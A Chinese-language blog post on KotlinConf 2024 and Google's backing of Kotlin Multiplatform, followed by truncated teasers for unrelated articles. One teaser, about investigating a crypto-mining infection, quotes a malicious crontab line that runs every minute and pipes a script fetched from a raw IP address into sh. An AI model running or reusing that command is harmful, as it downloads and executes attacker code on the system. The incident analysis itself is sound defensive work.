KotlinConf 2024:深入了解Kotlin Multiplatform (KMP)
KotlinConf 2024:深入了解Kotlin Multiplatform (KMP)
在近期的Google I/O大会上,我们推荐了Kotlin Multiplatform (KMP)用于跨移动、网页、服务器和桌面平台共享业务逻辑,并在Google Workspace中采用了KMP。紧接着,KotlinConf 2024成为与Kotlin社区分享亮点并交流的重要时刻。
Kotlin Multiplatform (KMP) 的优势
Kotlin Multiplatform由JetBrains开发,允许开发者通过将Kotlin代码编译为平台原生的二进制文件来构建跨平台应用,同时利用现代内存管理语言的全部功能。这种方法是Google Workspace团队的长期投资,使他们能够在不同平台之间共享业务逻辑。
Android团队一直在努力支持KMP,并最近发布了支持KMP的Room的alpha版本。目前,Annotations、Collections和DataStore已经在支持KMP的稳定版中发布。我们还对Lifecycle、ViewModel和Paging库进行了通用化处理,以便与非Android平台集成。
大会主题演讲和技术会议
会议以主题演讲开始,Google的Jeffrey van Gogh概述了Google对Kotlin生态系统的贡献。Jeffrey深入探讨了Google如何利用Kotlin Multiplatform (KMP)简化其产品组合的开发。Jeffrey强调了KMP为Google项目带来的代码共享和效率提升的好处,这与我们最近对Android应用开发的建议一致。
在KotlinConf 2024上的技术会议涵盖了一系列主题:
-
《两种语言的故事》
由John Pampuch带来的这场演讲,通过对比Java和Kotlin的演变,展示了它们的共生关系和相互影响。 -
《启用Kotlin Multiplatform成功:Android Jetpack之旅》
由Elif Bilgin、Yigit Boyar和Daniel Santiago Rivera代表的Android Jetpack团队,分享了KMP在Jetpack中的当前状态,介绍了支持KMP的Jetpack库更新,并探讨了将一个成熟的Jetpack库迁移到KMP的过程。 -
《使用Kotlin加速开发》
由Andrei Shikov分享了优化Compose for Android的宝贵经验,强调了Kotlin中的一些有趣性能细节以及Compose团队为确保最佳性能而建立的保护措施。 -
《Google Workspace中的Kotlin Multiplatform》
由Jason Parachoniak讨论了Google Workspace从以Java为导向的多平台基础迁移到Kotlin Multiplatform的过程,分享了所学到的经验和这一雄心勃勃的过渡的当前状态。 -
《编写你自己的Kotlin Lint检查》
由Android Studio工程总监Tor Norbye带来的这场会议,帮助开发者通过创建自己的检查来扩展Android Lint,这是一种被数百万开发者使用的静态分析工具。尽管名字如此,它不仅仅针对Android——还用于分析Google内部的服务器端Kotlin和Java代码!
Android 支持 Kotlin Multiplatform (KMP) 实现跨移动、网页、服务器和桌面平台的业务逻辑共享
传统上,开发者需要为每个平台单独编写代码,或者在复用代码时做出许多妥协。自2017年以来,Android 一直积极支持 Kotlin。今天在 Google I/O 大会上,我们宣布支持 Kotlin Multiplatform (KMP),这使得跨移动、网页、服务器和桌面平台共享代码成为可能,从而提高开发者的生产力,并与 Android 的 Kotlin 优先策略完美契合,最终提升 Android 应用的质量。
Kotlin Multiplatform (KMP) 的长期投资
Google Workspace 团队长期以来一直投资于 KMP,这使得跨平台体验的交付更加灵活和快速。Google Workspace 团队对 KMP 作为多平台架构投资方向的潜力充满信心,认为其能够满足各种工作负载的性能预期。
首个应用案例
这一旅程的初始步骤是推出 Google Docs 应用,该应用利用 KMP 实现了 Android、iOS 和网页端的共享业务逻辑,验证了其在 Google 规模上的生产就绪性。Google Workspace 团队期待继续探索 KMP 在其产品套件中的可能性,旨在提高生产力,并为所有平台的用户提供无缝体验。
跨平台开发的成功案例
许多公司已经成功利用 KMP 进行跨平台应用开发,了解他们如何应用不同的代码共享策略。Kotlin Multiplatform 由 JetBrains 开发,通过将 Kotlin 编译为平台原生二进制文件,提供了一种共享代码的新方法。Kotlin 能够为本机平台提供完整、现代的内存管理语言,实现原生互操作性和渐进采用。结合其他平台上的 Kotlin Multiplatform,Kotlin 在 Android 上提供了一种提高生产力和质量的绝佳方式,同时不妥协性能和互操作性。
当前支持状态
许多广泛使用的库提供了对 Kotlin Multiplatform 的内置支持,简化了跨平台开发体验。这些库无缝协作,例如,Ktor 通过处理 REST 服务消费简化了网络任务,kotlinx.serialization 将数据转换为 JSON 等格式,而 Okio 处理基本的文件 I/O。此外,SKIE 支持在 iOS 上使用现代类型和协程,CocoaPods 集成则使得使用 iOS 特定依赖项成为可能。
我们与 JetBrains 及 Kotlin 开发者社区合作,为许多 Jetpack 库添加了 KMP 支持。在某些情况下,我们提供了 iOS 平台目标,而在其他情况下,JetBrains 和社区提供了多平台发行版。
目前,Annotations、Collections 和 DataStore 库均已在稳定版中支持 Kotlin Multiplatform。我们还在增加对 iOS 平台目标的二进制兼容性验证支持,使其达到与 Android 相同的质量标准。除了上述库之外,我们还开始为 Room、Lifecycle 和 ViewModels 添加 Kotlin Multiplatform 支持,alpha 版本现已可用。为了更好地理解哪些类和函数在哪些平台上可用,库参考文档现在标明了“common”和平台支持。
编译器和性能优化
Android 工程师与 JetBrains 合作改进 Kotlin/Native(用于 iOS 和原生桌面操作系统)的运行时性能,在编译器基准测试中显示出18%的运行时性能提升。此外,Android 团队还贡献了 Kotlin Native Compiler 的构建时间性能改进,速度提高了多达2倍。
Android Gradle 插件现在正式支持 Kotlin Multiplatform,能够通过简洁的构建定义将 Android 作为共享代码的平台目标,如下所示:
plugins {id("org.jetbrains.kotlin.multiplatform")id("com.android.library")
}kotlin {androidTarget {compilations.all {kotlinOptions {jvmTarget = "11"}}} listOf(iosX64(),iosArm64(),iosSimulatorArm64()).forEach { iosTarget ->iosTarget.binaries.framework {baseName = "Shared"isStatic = true}} sourceSets {commonMain.dependencies {// 在这里添加你的多平台依赖项}}
}
Android Gradle 插件 DSL 中的 KMP 支持
由于 Android Studio 基于 JetBrains 的 IntelliJ 平台,因此它继承了对 Kotlin Multiplatform 代码编辑和许多其他开发功能的支持。其他 Android 开发工具,如 Android Lint 和 Kotlin Symbol Processing (KSP),也开始增加更多的 Kotlin Multiplatform 支持。
Google Chrome 现在正式支持 WasmGC,这被 Kotlin Multiplatform 的 WebAssembly 平台目标使用,以高效且性能良好的方式实现与浏览器的代码共享。
了解更多KMP
此外,你可以查看更新的文档和一个新的移动示例项目。这些资源应该能够帮助你开始学习KMP,如果你有任何反馈或遇到任何问题,请通过此链接分享。
https://developer.android.com/kotlin/multiplatform
https://github.com/android/kotlin-multiplatform-samples
https://developer.android.com/jetpack/androidx/releases/room#version_27_2
展望未来
我们对Kotlin的未来充满期待,计划在更多的AndroidX库中添加对KMP的支持。我们期待看到你们如何采用并使用KMP构建下一代应用。
KotlinConf 2024不仅是展示最新技术和工具的平台,更是开发者之间交流和学习的盛会。通过KMP,开发者们可以更高效地在多个平台上共享业务逻辑,提升开发速度和质量。Google在Kotlin生态系统中的持续投入,展示了我们对这一技术的长期承诺和信心。
https://android-developers.googleblog.com/2024/05/android-support-for-kotlin-multiplatform-to-share-business-logic-across-mobile-web-server-desktop.html
在未来的开发过程中,我们将继续致力于优化KMP的使用体验,提供更多的资源和支持,帮助开发者们更好地利用这一强大的工具。期待在不久的将来,看到更多优秀的应用诞生,推动整个Kotlin社区的进步和发展。
相关文章:

KotlinConf 2024:深入了解Kotlin Multiplatform (KMP)
KotlinConf 2024:深入了解Kotlin Multiplatform (KMP) 在近期的Google I/O大会上,我们推荐了Kotlin Multiplatform (KMP)用于跨移动、网页、服务器和桌面平台共享业务逻辑,并在Google Workspace中采用了KMP。紧接着,KotlinConf 2…...

探索ChatGPT-4在解决化学知识问题上的研究与应用
1. 概述 近年来,人工智能的发展主要集中在 GPT-4 等大型语言模型上。2023 年 3 月发布的这一先进模型展示了利用广泛知识应对从化学研究到日常问题解决等复杂挑战的能力。也开始进行研究,对化学的各个领域,从化学键到有机化学和物理化学&…...

性能狂飙:SpringBoot应用优化实战手册
在数字时代,速度就是生命,性能就是王道!《极速启航:SpringBoot性能优化的秘籍》带你深入SpringBoot的内核,探索如何打造一个飞速响应、高效稳定的应用。从基础的代码优化到高级的数据库连接池配置,再到前端…...

Github上一款开源、简洁、强大的任务管理工具:Condution
Condution 是一款开源任务管理工具,它以简洁易用、功能强大著称。它旨在为用户提供一个简单高效的平台,帮助他们管理日常任务、提高工作效率。 1. Condution 的诞生背景 现如今,市面上存在着许多任务管理软件,但它们往往价格昂贵…...

LeetCode-2938. 区分黑球与白球【贪心 双指针 字符串】
LeetCode-2938. 区分黑球与白球【贪心 双指针 字符串】 题目描述:解题思路一:贪心解题思路二:一次遍历统计1的个数,找0后累加左边的1的个数解题思路三: 题目描述: 桌子上有 n 个球,每个球的颜色…...

深度神经网络——什么是扩散模型?
1. 概述 在人工智能的浩瀚领域中,扩散模型正成为技术创新的先锋,它们彻底改变了我们处理复杂问题的方式,特别是在生成式人工智能方面。这些模型基于高斯过程、方差分析、微分方程和序列生成等坚实的数学理论构建。 业界巨头如Nvidia、Google…...

有代码冗余的检查工具嘛
是的,有一些代码质量工具可以帮助检查冗余代码。这些工具可以分析代码库,并识别出重复、冗余或不必要的代码片段。一些流行的代码质量工具包括: PMD: PMD 是一个开源的静态代码分析工具,支持多种编程语言,包括 Java、…...

3D培训大师:快速输出标准3D课件,打造沉浸式培训体验
随着技术的日新月异和市场的迅猛扩张,企业对员工专业技能培训的需求日益凸显。传统的培训方式往往依赖于实地操作、现场指导,这不仅需要大量的人力、物力和时间成本,而且存在安全风险。特别是化工、机械制造等行业,实操培训的成本…...

Python接口自动化测试:Json 数据处理实战
🍅 视频学习:文末有免费的配套视频可观看 🍅 点击文末小卡片 ,免费获取软件测试全套资料,资料在手,涨薪更快 上一篇说了关于json数据处理,是为了断言方便,这篇就带各位小伙伴实战一下…...

Java概述 , Java环境安装 , 第一个Hello World
环境变量,HelloWorld 1.会常用的dos命令 2.会安装java所需要的环境(jdk) 3.会配置java的环境变量 4.知道java开发三步骤 5.会java的入门程序(HelloWorld) 6.会三种注释方式 7.知道Java入门程序所需要注意的地方 8.知道println和print的区别第一章 Java概述 1.1 JavaSE体系介绍…...

查看Linux端口占用和开启端口命令
查看端口的使用的情况 lsof 命令 比如查看80端口的使用的情况 lsof -i tcp:80列出所有的端口 netstat -ntlp查看端口的状态 /etc/init.d/iptables status开启端口以开启端口80为例。 1 用命令开启端口 iptables -I INPUT -p tcp --dport 80 -j accpet --写入要开放的端口/…...

24-unittest简介
一、unittest简介 unittest是Python中常用的单元测试框架,与Java中的Junit单元测试框架类似。 二、示例程序 1)导入unittest模块 import unittest 2)使用help()函数查看源码中的示例程序 help(unittest) Simple usage:import unittestc…...

Kotlin 中,扩展函数(Extension Functions)
在 Kotlin 中,扩展函数(Extension Functions)是用于向已有的类添加新功能而无需继承或使用装饰模式的一个特性。这允许你通过更自然的语法为现有类型添加方法。 下面是一个简单的扩展函数示例: // 定义一个扩展函数,…...

堪称2024最强的前端面试场景题,让419人成功拿到offer
前言 2024年的秋季招聘还有两个月就即将到来,很多同学开始思考前端面试中场景题的重要性。这里我提供一些见解和建议来帮助大家准备即将到来的面试。 首先,理解面试中场景题的必要性是至关重要的。与算法或理论问题不同,场景题更贴近实际工…...

使用node将页面转为pdf?(puppeteer实现)
本文章适合win系统下实验(linux,mac可能会出现些莫名其妙的bug我也不会解决) 具体过程 首先了解什么时无头浏览器启动无头浏览器打开指定的url页面设置导出pdf格式开始转化完整基础代码 首先了解什么时无头浏览器 没有界面的浏览器下载pupp…...

龙迅#LT8711H支持TYPE-C/DP/EDP转HDMI功能应用,分辨率支持 1080p@60Hz,芯片内置固件!
1. 概述 LT8711H是一款高性能 Type-C/DP1.2/EDP 转 HD-DVI1.3 转换器,设计用于将 USB Type-C 源或 DP1.2 源连接到 HD-DVI1.3 接收器。 该LT8711H集成了符合 DP1.2 标准的接收器和符合 HD-DVI1.3 标准的发射器。此外,还包括两个用于 CC 通信的 CC 控制器…...

WPF中Ignorable
在WPF中,“Ignorable”这个概念主要与XAML解析和标记扩展有关。当WPF的XAML解析器遇到一个它不认识的元素或属性时,它会抛出一个异常,这是因为默认情况下,WPF要求所有XAML都是完全可识别和可解析的。然而,在某些情况下…...

系统安全及应用11
一个新的服务器到手之后,部署服务器的初始化 1、配置IP地址 网关 dns解析(static)内网和外网 2、安装源外网(在线即可),内网(只能用源码包编译安装) 3、磁盘分区,lvm …...

vue中SKU实现
通过发送请求获取商品详情数据,包括商品规格(specs)和库存信息(skus)。 选中状态更新:根据当前状态进行激活或取消激活的逻辑,通过为每个规格项添加的“selected”字段来标识是否激活,同时利用样式处理,通过动态类属性…...

闭眼推荐的,新手教师工具
亲爱的老师们,尤其是那些刚踏入教育界的新手教师们,还在为如何高效管理课堂、如何制作精美的教学材料而头疼吗?让我来分享几款教育界口碑爆棚的工具。 易查分小程序 易查分是一款超级方便的成绩查询工具,一分钟就能上传成绩并生成…...

charles抓包工具之---添加vConsole
Charles Rewrite重写(详解!必懂系列)-CSDN博客 chales 重写/断点/映射/手机代理/其他主机代理_charles 批量映射-CSDN博客 在 Charles 上添加 rewrite 规则,以便在响应的 <head> 部分添加 vConsole,可以按照以下步骤操作:…...

Java多线程-初阶1
博主主页: 码农派大星. 数据结构专栏:Java数据结构 数据库专栏:MySQL数据库 JavaEE专栏:JavaEE 关注博主带你了解更多数据结构知识 1. 认识线程(Thread) 1.线程是什么 ⼀个线程就是⼀个 "执⾏流". 每个线程之间都可以按照顺序执⾏⾃⼰的代…...

C++二级指针的指向与解引用
本文算是作者对于二级指针学习的一些总结或者说是刨根问底,如果有表述错误,还请各位大神指正。 我们首先定义一个整型a,令a 5,再分别定义指针p和二级指针ptr int a 5; int *p &a; int **ptr &p;我们不妨假设a的地址是…...

Pandas处理时间差的4种表达方式
在Pandas中处理时间差(timedelta)时,有多种方式可以表达时间差。以下是总结的Pandas时间差的四种主要表达方式和相关信息: 目录 一、使用pd.Timedelta直接创建 二、使用DataFrame中计算时间差 三、转换为分钟数表示 四、使用…...

C语言---指针part2
指针操作 一维 字符数组 1. 字符型数组 --- 存放字符串的 char s[] "hello"; [h ] <---0x1000 [e ] [l ] [l ] [o ] [\0] //谁能这块空间的地址 --- 数组名 s --->怎么能保存s所代表的地址值 //s数组名 --- 数组首元素的地址 &s[0] --->地…...

DNS域名
DNS域名 DNS是域名系统的简称 域名和ip地址之间的映射关系 互联网中,ip地址是通信的唯一标识 访问网站,域名,ip地址不好记,域名朗朗上口,好记。 域名解析的目的就是为了实现,访问域名就等于访问ip地址…...

19 - 查询结果的质量和占比(高频 SQL 50 题基础版)
19 - 查询结果的质量和占比 -- round(avg(rating<3)*100,2)round(avg(if(rating<3,1,0))*100,2) select query_name,round(avg(rating/position),2) quality,round(avg(if(rating<3,1,0))*100,2) poor_query_percentage fromQueries group byquery_name;...

一次挖矿病毒的排查过程
目录 一、查看定时任务二、处理方法 一、查看定时任务 # crontab -l * * * * * wget -q -O - http://185.122.204.197/unk.sh | sh > /dev/null 2>&1 0 */1 * * * /usr/local/nginx/sbin/nginx -s reload发现异常任务: * * * * * wget -q -O - http://1…...

【JMeter接口测试工具】第二节.JMeter基本功能介绍(上)【入门篇】
文章目录 前言一、获取所有学院信息接口执行二、线程组的介绍 2.1 并发和顺序执行 2.2 优先和最后执行线程组 2.3 线程组的设置细节三、HTTP请求的介绍四、查看结果树的配置使用总结 前言 一、获取所有学院信息接口执行 我们先针对一条简单的接口进行执行&#…...

ultralytics solutions快速解决方案,快速实现某些场景的图像解决方案
参考: https://docs.ultralytics.com/solutions/ 在不断更新,已经有一些场景的解决方案 ultralytics 8.2.27 一、区域统计 1、自定义区域统计数量 https://docs.ultralytics.com/guides/region-counting/ 1、自定义画框,比如矩形框四个点的坐标获取 通过cv2点击图片获…...